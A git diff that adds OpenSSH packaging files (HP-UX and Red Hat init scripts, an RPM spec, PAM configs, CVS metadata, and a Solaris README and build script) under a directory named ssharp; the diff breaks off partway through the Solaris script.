EGD_LOG=${EGD_LOG:-$WHAT_LOG} + su egd -c "nohup $WHAT_PATH $EGD_ARGS >$EGD_LOG 2>&1" && + echo $WHAT started + set_return + else + rval=2 + fi + ;; + +'stop') + pid=`ps -fuegd | awk '$1 == "egd" { print $2 }'` + if [ "X$pid" != "X" ]; then + if kill "$pid"; then + echo "$WHAT stopped" + else + rval=1 + echo "Unable to stop $WHAT" + fi + fi + set_return + ;; + +*) + echo "usage: $0 {start|stop|start_msg|stop_msg}" + rval=1 + ;; +esac + +exit $rval diff --git a/other/ssharp/contrib/hpux/sshd b/other/ssharp/contrib/hpux/sshd new file mode 100644 index 0000000..8eb5e92 --- /dev/null +++ b/other/ssharp/contrib/hpux/sshd @@ -0,0 +1,5 @@ +# SSHD_START: Set to 1 to start SSH daemon +# SSHD_ARGS: Command line arguments to pass to sshd +# +SSHD_START=1 +SSHD_ARGS= diff --git a/other/ssharp/contrib/hpux/sshd.rc b/other/ssharp/contrib/hpux/sshd.rc new file mode 100755 index 0000000..f9a1099 --- /dev/null +++ b/other/ssharp/contrib/hpux/sshd.rc @@ -0,0 +1,90 @@ +#!/sbin/sh + +# +# sshd.rc: SSH daemon start-up and shutdown script +# + +# Allowed exit values: +# 0 = success; causes "OK" to show up in checklist. +# 1 = failure; causes "FAIL" to show up in checklist. +# 2 = skip; causes "N/A" to show up in the checklist. +# Use this value if execution of this script is overridden +# by the use of a control variable, or if this script is not +# appropriate to execute for some other reason. +# 3 = reboot; causes the system to be rebooted after execution. + +# Input and output: +# stdin is redirected from /dev/null +# +# stdout and stderr are redirected to the /etc/rc.log file +# during checklist mode, or to the console in raw mode. + +PATH=/usr/sbin:/usr/bin:/sbin +export PATH + +WHAT='OpenSSH' +WHAT_PATH=/opt/openssh/sbin/sshd +WHAT_PID=/var/run/sshd.pid +WHAT_CONFIG=/etc/rc.config.d/sshd + +# NOTE: If your script executes in run state 0 or state 1, then /usr might +# not be available. Do not attempt to access commands or files in +# /usr unless your script executes in run state 2 or greater. Other +# file systems typically not mounted until run state 2 include /var +# and /opt. + +rval=0 + +# Check the exit value of a command run by this script. If non-zero, the +# exit code is echoed to the log file and the return value of this script +# is set to indicate failure. + +set_return() { + x=$? + if [ $x -ne 0 ]; then + echo "EXIT CODE: $x" + rval=1 # script FAILed + fi +} + +case $1 in +'start_msg') + echo "Starting $WHAT" + ;; + +'stop_msg') + echo "Stopping $WHAT" + ;; + +'start') + if [ -f $WHAT_CONFIG ] ; then + . $WHAT_CONFIG + else + echo "ERROR: $WHAT_CONFIG defaults file MISSING" + fi + + if [ "$SSHD_START" -eq 1 -a -x "$WHAT_PATH" ]; then + $WHAT_PATH $SSHD_ARGS && echo "$WHAT started" + set_return + else + rval=2 + fi + ;; + +'stop') + if kill `cat $WHAT_PID`; then + echo "$WHAT stopped" + else + rval=1 + echo "Unable to stop $WHAT" + fi + set_return + ;; + +*) + echo "usage: $0 {start|stop|start_msg|stop_msg}" + rval=1 + ;; +esac + +exit $rval diff --git a/other/ssharp/contrib/redhat/CVS/Entries b/other/ssharp/contrib/redhat/CVS/Entries new file mode 100644 index 0000000..2dde2bc --- /dev/null +++ b/other/ssharp/contrib/redhat/CVS/Entries @@ -0,0 +1,5 @@ +/openssh.spec/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd.init/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd.pam/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd.pam-7.x/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +D diff --git a/other/ssharp/contrib/redhat/CVS/Repository b/other/ssharp/contrib/redhat/CVS/Repository new file mode 100644 index 0000000..3e46aaf --- /dev/null +++ b/other/ssharp/contrib/redhat/CVS/Repository @@ -0,0 +1 @@ +ssharp/contrib/redhat diff --git a/other/ssharp/contrib/redhat/CVS/Root b/other/ssharp/contrib/redhat/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/ssharp/contrib/redhat/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/ssharp/contrib/redhat/CVS/Tag b/other/ssharp/contrib/redhat/CVS/Tag new file mode 100644 index 0000000..00329bf --- /dev/null +++ b/other/ssharp/contrib/redhat/CVS/Tag @@ -0,0 +1 @@ +Nrel-0-51 diff --git a/other/ssharp/contrib/redhat/openssh.spec b/other/ssharp/contrib/redhat/openssh.spec new file mode 100644 index 0000000..09c42a0 --- /dev/null +++ b/other/ssharp/contrib/redhat/openssh.spec @@ -0,0 +1,337 @@ +# Version of OpenSSH +%define oversion 2.9p1 + +# Version of ssh-askpass +%define aversion 1.2.0 + +# Do we want to disable building of x11-askpass? (1=yes 0=no) +%define no_x11_askpass 0 + +# Do we want to disable building of gnome-askpass? (1=yes 0=no) +%define no_gnome_askpass 0 + +# Do we want to link against a static libcrypto? (1=yes 0=no) +%define static_libcrypto 0 + +# Use Redhat 7.0 pam control file +%define redhat7 0 + +# Reserve options to override askpass settings with: +# rpm -ba|--rebuild --define 'skip_xxx 1' +%{?skip_x11_askpass:%define no_x11_askpass 1} +%{?skip_gnome_askpass:%define no_gnome_askpass 1} + +# Options for Redhat version: +# rpm -ba|--rebuild --define "rh7 1" +%{?rh7:%define redhat7 1} + +# Options for static OpenSSL link: +# rpm -ba|--rebuild --define "static_openssl 1" +%{?static_openssl:%define static_libcrypto 1} + +%define exact_openssl_version %(rpm -q openssl | cut -d - -f 2) + +Summary: OpenSSH free Secure Shell (SSH) implementation +Name: openssh +Version: %{oversion} +Release: 1 +Packager: Damien Miller +URL: http://www.openssh.com/ +Source0: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{oversion}.tar.gz +%if ! %{no_x11_askpass} +Source1: http://www.jmknoble.cx/software/x11-ssh-askpass/x11-ssh-askpass-%{aversion}.tar.gz +%endif +Copyright: BSD +Group: Applications/Internet +BuildRoot: %{_tmppath}/%{name}-%{version}-buildroot +Obsoletes: ssh +BuildPreReq: perl, openssl-devel, tcp_wrappers +BuildPreReq: /bin/login, /usr/include/security/pam_appl.h +BuildPreReq: rpm >= 3.0.5 +%if ! %{no_gnome_askpass} +BuildPreReq: gnome-libs-devel +%endif +%if ! %{static_libcrypto} +PreReq: openssl >= 0.9.5a +PreReq: openssl = %{exact_openssl_version} +Requires: openssl >= 0.9.5a +%endif +Requires: rpm >= 3.0.5 + +%package clients +Summary: OpenSSH Secure Shell protocol clients +Requires: openssh = %{version}-%{release} +Group: Applications/Internet +Obsoletes: ssh-clients + +%package server +Summary: OpenSSH Secure Shell protocol server (sshd) +Group: System Environment/Daemons +Obsoletes: ssh-server +PreReq: openssh = %{version}-%{release}, chkconfig >= 0.9 +%if %{redhat7} +Requires: /etc/pam.d/system-auth +%endif + +%package askpass +Summary: OpenSSH X11 passphrase dialog +Group: Applications/Internet +Requires: openssh = %{version}-%{release} +Obsoletes: ssh-extras + +%package askpass-gnome +Summary: OpenSSH GNOME passphrase dialog +Group: Applications/Internet +Requires: openssh = %{version}-%{release} +Obsoletes: ssh-extras + +%description +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to separate libraries (OpenSSL). + +This package includes the core files necessary for both the OpenSSH +client and server. To make this package useful, you should also +install openssh-clients, openssh-server, or both. + +%description clients +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to separate libraries (OpenSSL). + +This package includes the clients necessary to make encrypted connections +to SSH servers. + +%description server +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to separate libraries (OpenSSL). + +This package contains the secure shell daemon. The sshd is the server +part of the secure shell protocol and allows ssh clients to connect to +your host. + +%description askpass +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to separate libraries (OpenSSL). + +This package contains Jim Knoble's X11 passphrase +dialog. + +%description askpass-gnome +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to separate libraries (OpenSSL). + +This package contains the GNOME passphrase dialog. + +%prep + +%if ! %{no_x11_askpass} +%setup -q -a 1 +%else +%setup -q +%endif + +%build + +%define _sysconfdir /etc/ssh + +%configure \ + --libexecdir=%{_libexecdir}/openssh \ + --with-pam \ + --with-tcp-wrappers \ + --with-ipv4-default \ + --with-rsh=/usr/bin/rsh \ + --with-default-path=/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin + +%if %{static_libcrypto} +perl -pi -e "s|-lcrypto|/usr/lib/libcrypto.a|g" Makefile +%endif + +make + +%if ! %{no_x11_askpass} +pushd x11-ssh-askpass-%{aversion} +xmkmf -a +make +popd +%endif + +%if ! %{no_gnome_askpass} +pushd contrib +gcc -O -g `gnome-config --cflags gnome gnomeui` \ + gnome-ssh-askpass.c -o gnome-ssh-askpass \ + `gnome-config --libs gnome gnomeui` +popd +%endif + +%install +rm -rf $RPM_BUILD_ROOT +%{makeinstall} \ + libexecdir=$RPM_BUILD_ROOT%{_libexecdir}/openssh \ + DESTDIR=/ # Hack to disable key generation + + +install -d $RPM_BUILD_ROOT/etc/pam.d/ +install -d $RPM_BUILD_ROOT/etc/rc.d/init.d +install -d $RPM_BUILD_ROOT%{_libexecdir}/openssh +%if %{redhat7} +install -m644 contrib/redhat/sshd.pam-7.x $RPM_BUILD_ROOT/etc/pam.d/sshd +%else +install -m644 contrib/redhat/sshd.pam $RPM_BUILD_ROOT/etc/pam.d/sshd +%endif +install -m755 contrib/redhat/sshd.init $RPM_BUILD_ROOT/etc/rc.d/init.d/sshd + +%if ! %{no_x11_askpass} +install -s x11-ssh-askpass-%{aversion}/x11-ssh-askpass $RPM_BUILD_ROOT%{_libexecdir}/openssh/x11-ssh-askpass +ln -s /usr/libexec/openssh/x11-ssh-askpass $RPM_BUILD_ROOT%{_libexecdir}/openssh/ssh-askpass +%endif + +%if ! %{no_gnome_askpass} +install -s contrib/gnome-ssh-askpass $RPM_BUILD_ROOT%{_libexecdir}/openssh/gnome-ssh-askpass +%endif + +perl -pi -e "s|$RPM_BUILD_ROOT||g" $RPM_BUILD_ROOT%{_mandir}/man*/* + +%clean +rm -rf $RPM_BUILD_ROOT + +%post server +/sbin/chkconfig --add sshd +if test -r /var/run/sshd.pid ; then + /etc/rc.d/init.d/sshd restart >&2 +fi + +%preun server +if [ "$1" = 0 ] ; then + /etc/rc.d/init.d/sshd stop >&2 + /sbin/chkconfig --del sshd +fi + +%files +%defattr(-,root,root) +%doc ChangeLog OVERVIEW README* INSTALL +%doc CREDITS LICENCE +%attr(0755,root,root) %{_bindir}/ssh-keygen +%attr(0755,root,root) %{_bindir}/scp +%attr(0755,root,root) %{_bindir}/ssh-keyscan +%attr(0644,root,root) %{_mandir}/man1/ssh-keygen.1* +%attr(0644,root,root) %{_mandir}/man1/ssh-keyscan.1* +%attr(0644,root,root) %{_mandir}/man1/scp.1* +%attr(0755,root,root) %dir %{_sysconfdir} +%attr(0600,root,root) %config(noreplace) %{_sysconfdir}/primes +%attr(0755,root,root) %dir %{_libexecdir}/openssh + +%files clients +%defattr(-,root,root) +%attr(4755,root,root) %{_bindir}/ssh +%attr(0755,root,root) %{_bindir}/ssh-agent +%attr(0755,root,root) %{_bindir}/ssh-add +%attr(0755,root,root) %{_bindir}/ssh-keyscan +%attr(0755,root,root) %{_bindir}/sftp +%attr(0644,root,root) %{_mandir}/man1/ssh.1* +%attr(0644,root,root) %{_mandir}/man1/ssh-agent.1* +%attr(0644,root,root) %{_mandir}/man1/ssh-add.1* +%attr(0644,root,root) %{_mandir}/man1/ssh-keyscan.1* +%attr(0644,root,root) %{_mandir}/man1/sftp.1* +%attr(0644,root,root) %config(noreplace) %{_sysconfdir}/ssh_config +%attr(-,root,root) %{_bindir}/slogin +%attr(-,root,root) %{_mandir}/man1/slogin.1* + +%files server +%defattr(-,root,root) +%attr(0755,root,root) %{_sbindir}/sshd +%attr(0755,root,root) %{_libexecdir}/openssh/sftp-server +%attr(0644,root,root) %{_mandir}/man8/sshd.8* +%attr(0644,root,root) %{_mandir}/man8/sftp-server.8* +#%attr(0600,root,root) %config(noreplace) %{_sysconfdir}/sshd_config +%attr(0600,root,root) %config %{_sysconfdir}/sshd_config +%attr(0600,root,root) %config(noreplace) /etc/pam.d/sshd +%attr(0755,root,root) %config /etc/rc.d/init.d/sshd + +%if ! %{no_x11_askpass} +%files askpass +%defattr(-,root,root) +%doc x11-ssh-askpass-%{aversion}/README +%doc x11-ssh-askpass-%{aversion}/ChangeLog +%doc x11-ssh-askpass-%{aversion}/SshAskpass*.ad +%attr(0755,root,root) %{_libexecdir}/openssh/ssh-askpass +%attr(0755,root,root) %{_libexecdir}/openssh/x11-ssh-askpass +%endif + +%if ! %{no_gnome_askpass} +%files askpass-gnome +%defattr(-,root,root) +%attr(0755,root,root) %{_libexecdir}/openssh/gnome-ssh-askpass +%endif + +%changelog +* Mon Oct 18 2000 Damien Miller +- Merge some of Nalin Dahyabhai changes from the + Redhat 7.0 spec file +* Tue Sep 05 2000 Damien Miller +- Use RPM configure macro +* Tue Aug 08 2000 Damien Miller +- Some surgery to sshd.init (generate keys at runtime) +- Cleanup of groups and removal of keygen calls +* Wed Jul 12 2000 Damien Miller +- Make building of X11-askpass and gnome-askpass optional +* Mon Jun 12 2000 Damien Miller +- Glob manpages to catch compressed files +* Wed Mar 15 2000 Damien Miller +- Updated for new location +- Updated for new gnome-ssh-askpass build +* Sun Dec 26 1999 Damien Miller +- Added Jim Knoble's askpass +* Mon Nov 15 1999 Damien Miller +- Split subpackages further based on patch from jim knoble +* Sat Nov 13 1999 Damien Miller +- Added 'Obsoletes' directives +* Tue Nov 09 1999 Damien Miller +- Use make install +- Subpackages +* Mon Nov 08 1999 Damien Miller +- Added links for slogin +- Fixed perms on manpages +* Sat Oct 30 1999 Damien Miller +- Renamed init script +* Fri Oct 29 1999 Damien Miller +- Back to old binary names +* Thu Oct 28 1999 Damien Miller +- Use autoconf +- New binary names +* Wed Oct 27 1999 Damien Miller +- Initial RPMification, based on Jan "Yenya" Kasprzak's spec. + diff --git a/other/ssharp/contrib/redhat/sshd.init b/other/ssharp/contrib/redhat/sshd.init new file mode 100755 index 0000000..efedbfb --- /dev/null +++ b/other/ssharp/contrib/redhat/sshd.init @@ -0,0 +1,151 @@ +#!/bin/bash + +# Init file for OpenSSH server daemon +# +# chkconfig: 2345 55 25 +# description: OpenSSH server daemon +# +# processname: sshd +# config: /etc/ssh/ssh_host_key +# config: /etc/ssh/ssh_host_key.pub +# config: /etc/ssh/ssh_random_seed +# config: /etc/ssh/sshd_config +# pidfile: /var/run/sshd.pid + +# source function library +. /etc/rc.d/init.d/functions + +[ -f /etc/sysconfig/sshd ] && . /etc/sysconfig/sshd + +RETVAL=0 + +# Some functions to make the below more readable +KEYGEN=/usr/bin/ssh-keygen +RSA1_KEY=/etc/ssh/ssh_host_key +RSA_KEY=/etc/ssh/ssh_host_rsa_key +DSA_KEY=/etc/ssh/ssh_host_dsa_key +PID_FILE=/var/run/sshd.pid +my_success() { + local msg + if [ $# -gt 1 ]; then + msg="$2" + else + msg="done" + fi + case "`type -type success`" in + function) + success "$1" + ;; + *) + echo -n "${msg}" + ;; + esac +} +my_failure() { + local msg + if [ $# -gt 1 ]; then + msg="$2" + else + msg="FAILED" + fi + case "`type -type failure`" in + function) + failure "$1" + ;; + *) + echo -n "${msg}" + ;; + esac +} +do_rsa1_keygen() { + if ! test -f $RSA1_KEY ; then + echo -n "Generating SSH1 RSA host key: " + if $KEYGEN -q -t rsa1 -f $RSA1_KEY -C '' -N '' >&/dev/null; then + my_success "RSA1 key generation" + echo + else + my_failure "RSA1 key generation" + echo + exit 1 + fi + fi +} +do_rsa_keygen() { + if ! test -f $RSA_KEY ; then + echo -n "Generating SSH2 RSA host key: " + if $KEYGEN -q -t rsa -f $RSA_KEY -C '' -N '' >&/dev/null; then + my_success "RSA key generation" + echo + else + my_failure "RSA key generation" + echo + exit 1 + fi + fi +} +do_dsa_keygen() { + if ! test -f $DSA_KEY ; then + echo -n "Generating SSH2 DSA host key: " + if $KEYGEN -q -t dsa -f $DSA_KEY -C '' -N '' >&/dev/null; then + my_success "DSA key generation" + echo + else + my_failure "DSA key generation" + echo + exit 1 + fi + fi +} + +case "$1" in + start) + # Create keys if necessary + do_rsa1_keygen; + do_rsa_keygen; + do_dsa_keygen; + + echo -n "Starting sshd: " + if [ ! -f $PID_FILE ] ; then + sshd $OPTIONS + RETVAL=$? + if [ "$RETVAL" = "0" ] ; then + my_success "sshd startup" "sshd" + touch /var/lock/subsys/sshd + else + my_failure "sshd startup" "" + fi + fi + echo + ;; + stop) + echo -n "Shutting down sshd: " + if [ -f $PID_FILE ] ; then + killproc sshd + RETVAL=$? + [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/sshd + fi + echo + ;; + restart) + $0 stop + $0 start + RETVAL=$? + ;; + condrestart) + if [ -f /var/lock/subsys/sshd ] ; then + $0 stop + $0 start + RETVAL=$? + fi + ;; + status) + status sshd + RETVAL=$? + ;; + *) + echo "Usage: sshd {start|stop|restart|status|condrestart}" + exit 1 + ;; +esac + +exit $RETVAL diff --git a/other/ssharp/contrib/redhat/sshd.pam b/other/ssharp/contrib/redhat/sshd.pam new file mode 100644 index 0000000..26dcb34 --- /dev/null +++ b/other/ssharp/contrib/redhat/sshd.pam @@ -0,0 +1,8 @@ +#%PAM-1.0 +auth required /lib/security/pam_pwdb.so shadow nodelay +auth required /lib/security/pam_nologin.so +account required /lib/security/pam_pwdb.so +password required /lib/security/pam_cracklib.so +password required /lib/security/pam_pwdb.so shadow nullok use_authtok +session required /lib/security/pam_pwdb.so +session required /lib/security/pam_limits.so diff --git a/other/ssharp/contrib/redhat/sshd.pam-7.x b/other/ssharp/contrib/redhat/sshd.pam-7.x new file mode 100644 index 0000000..d2ab073 --- /dev/null +++ b/other/ssharp/contrib/redhat/sshd.pam-7.x @@ -0,0 +1,8 @@ +#%PAM-1.0 +auth required /lib/security/pam_stack.so service=system-auth +auth required /lib/security/pam_nologin.so +account required /lib/security/pam_stack.so service=system-auth +password required /lib/security/pam_stack.so service=system-auth +session required /lib/security/pam_stack.so service=system-auth +session required /lib/security/pam_limits.so +session optional /lib/security/pam_console.so diff --git a/other/ssharp/contrib/solaris/CVS/Entries b/other/ssharp/contrib/solaris/CVS/Entries new file mode 100644 index 0000000..6b2465e --- /dev/null +++ b/other/ssharp/contrib/solaris/CVS/Entries @@ -0,0 +1,9 @@ +/README/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/build-pkg/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/checkinstall.in/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/pkginfo.in/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/postinstall.in/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/preremove/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/prototype/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd-initscript.in/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +D diff --git a/other/ssharp/contrib/solaris/CVS/Repository b/other/ssharp/contrib/solaris/CVS/Repository new file mode 100644 index 0000000..23534f9 --- /dev/null +++ b/other/ssharp/contrib/solaris/CVS/Repository @@ -0,0 +1 @@ +ssharp/contrib/solaris diff --git a/other/ssharp/contrib/solaris/CVS/Root b/other/ssharp/contrib/solaris/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/ssharp/contrib/solaris/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/ssharp/contrib/solaris/CVS/Tag b/other/ssharp/contrib/solaris/CVS/Tag new file mode 100644 index 0000000..00329bf --- /dev/null +++ b/other/ssharp/contrib/solaris/CVS/Tag @@ -0,0 +1 @@ +Nrel-0-51 diff --git a/other/ssharp/contrib/solaris/README b/other/ssharp/contrib/solaris/README new file mode 100755 index 0000000..e5445c3 --- /dev/null +++ b/other/ssharp/contrib/solaris/README @@ -0,0 +1,82 @@ +README for OpenSSH Solaris packaging scripts +Rip Loomis - 2000-08-02 + +To use, simply expand this tarball under your main +OpenSSH source directory--it will create a +contrib/solaris subdirectory. Run configure and +make in OpenSSH as before. Then, from either +that directory or the main OpenSSH source directory, +run the command "build-pkg" (specifying the +appropriate path of course.) A subdirectory +will be created as contrib/solaris/build-SSH-package, +and after the build is done the package will be +present in that build-SSH-package directory +with a name of the form +OPENssh-$SSHversion-$arch-$OSversion[-$installLocation] + +The build and install scripts should take into account +most possible situations (existing SSH installation, +differences in Solaris version between build and +target systems, changes you have made to the default +configuration, etc.) I would appreciate any feedback +or comments. + +Copyright information is included below, followed by the known issue list. +Both are taken verbatim from the "build-pkg" script. + +# OpenSSH solaris build script and supporting data files +# Copyright (c) 2000 Rip Loomis and +# Science Applications International Corporation (SAIC) +# (http://www.cist-east.saic.com). All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. The name of the author may not be used to endorse or promote products +# derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# Obviously, without all the hard work of the OpenBSD OpenSSH developers +# and the OpenSSH Portability Team, these scripts would be pointless... +# so thanks again folks! +#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +#### Known issues +# These methods are generally based on a "default" compilation of +# OpenSSH on Solaris--so the more things that you change from the default, +# the greater the chance that something in the script won't be able to +# handle the changes. In general, though, most things should be determined +# from your compile environment--the architecture, SSH version, and +# other related data should all get picked up by this script. The script +# and data files were last updated to match OpenSSH 2.1.1p4. +# +# All building and packaging is done under a temporary directory that is +# itself created under the contrib/solaris directory--so there shouldn't +# be any special security issues (or need for root access during the +# packaging process). The temporary directory is defined below as +# ${BUILDDIR}. +# +# The permissions on the installed files are based on how we prefer to +# do things here--so nothing is installed SetUID to root. +# +# The post-install script makes a good-faith attempt to install a +# functional configuration on your system. I would be interested in hearing +# of any failure modes that are found, as I tried to compensate for all +# the ones that showed up here when we started replacing all the +# different installed versions of SSH. + diff --git a/other/ssharp/contrib/solaris/build-pkg b/other/ssharp/contrib/solaris/build-pkg new file mode 100755 index 0000000..76529ed --- /dev/null +++ b/other/ssharp/contrib/solaris/build-pkg @@ -0,0 +1,208 @@ +#!/bin/sh + +# OpenSSH solaris build script and supporting data files +# Copyright (c) 2000 Rip Loomis and +# Science Applications International Corporation (SAIC) +# (http://www.cist-east.saic.com). All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. The name of the author may not be used to endorse or promote products +# derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# Obviously, without all the hard work of the OpenBSD OpenSSH developers +# and the OpenSSH Portability Team, these scripts would be pointless... +# so thanks again folks! +#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +#### Known issues +# These methods are generally based on a "default" compilation of +# OpenSSH on Solaris--so the more things that you change from the default, +# the greater the chance that something in the script won't be able to +# handle the changes. In general, though, most things should be determined +# from your compile environment--the architecture, SSH version, and +# other related data should all get picked up by this script. The script +# and data files were last updated to match OpenSSH 2.1.1p4. +# +# All building and packaging is done under a temporary directory that is +# itself created under the contrib/solaris directory--so there shouldn't +# be any special security issues (or need for root access during the +# packaging process). The temporary directory is defined below as +# ${BUILDDIR}. +# +# The permissions on the installed files are based on how we prefer to +# do things here--so nothing is installed SetUID to root. +# +# The post-install script makes a good-faith attempt to install a +# functional configuration on your system. I would be interested in hearing +# of any failure modes that are found, as I tried to compensate for all +# the ones that showed up here when we started replacing all the +# different installed versions of SSH. + +#### Body of the script (finally!) +# We expect to be building the solaris package under the contrib/solaris +# directory--but the build-package script might be run with a relative +# path by a user in the main SSH directory...so we try to handle this +# case. Note that this is still a quick and dirty solution, not robust. + +if [ -f sshd.c ]; then + cd contrib/solaris >/dev/null +fi + +# Locations of standard binaries +UNAME=/usr/bin/uname +SED=/usr/bin/sed +PWD=/usr/bin/pwd +CUT=/usr/bin/cut +STRIP=/usr/ccs/bin/strip +PKGMK=/usr/bin/pkgmk +PKGTRANS=/usr/bin/pkgtrans +GREP=/usr/bin/grep +DATE=/usr/bin/date + +CURRDIR=`${PWD}` +BUILDDIR=${CURRDIR}/build-SSH-package +# If you really want to name the package "ssh" then go ahead, but the +# Sun convention is that the first 2-4 characters are supposed to be +# uppercase representing the company or organization that produced the +# software, and the next 3-5 characters are supposed to be lowercase +# identifying the specific software. The best package names I could +# come up with were "OBSDssh" or "OPENssh", given those constraints. +PKGNAME="OPENssh" +# PSTAMP is a standard setting in the 'pkginfo' file that helps to identify +# the time and location that the packaging was done. +PSTAMP="`${UNAME} -n`-`${DATE} +%Y-%m-%d-%H%M`" +# The several lines below are designed to pull the relevant information +# out of the Makefile. It may be simpler to hard-code this if you have +# made changes and these lines don't find them. +prefix=`${GREP} "^prefix=" ../../Makefile | ${CUT} -d = -f 2` +execprefix=`${GREP} "^execprefix=" ../../Makefile | ${CUT} -d = -f 2` +INSTROOT=${prefix:=/usr/local} +ETCDIR=`${GREP} "^ETCDIR=" ../../Makefile | ${CUT} -d = -f 2` +PIDDIR=`${GREP} "^piddir=" ../../Makefile | ${CUT} -d = -f 2` + +if [ ! -f ../../sshd ]; then + echo "Unable to locate sshd binary where I expected, and can't continue." + echo "Verify that the SSH configure/make has been completed, and that" + echo " this script is being run from within the SSH source tree." + exit 1 +fi + + +VERSION=`${GREP} "SSH_VERSION" ../../version.h | ${CUT} -f 2 | sed -e 's/"//g' -e 's/OpenSSH_//g'` +# Extra shenanigans to compensate for Sun marketeer tricks with Solaris +# version numbering... +OSMINOR=`${UNAME} -r | ${CUT} -f 2 -d .` +if [ $OSMINOR -gt 6 ]; then + OSVERSION=$OSMINOR +else + OSVERSION=`${UNAME} -r | ${SED} 's/5/2/'` +fi +ARCH=`$UNAME -p` +SHORTINSTROOT="" +if [ "$INSTROOT" = "/usr/local" ]; then + SHORTINSTROOT="-local" 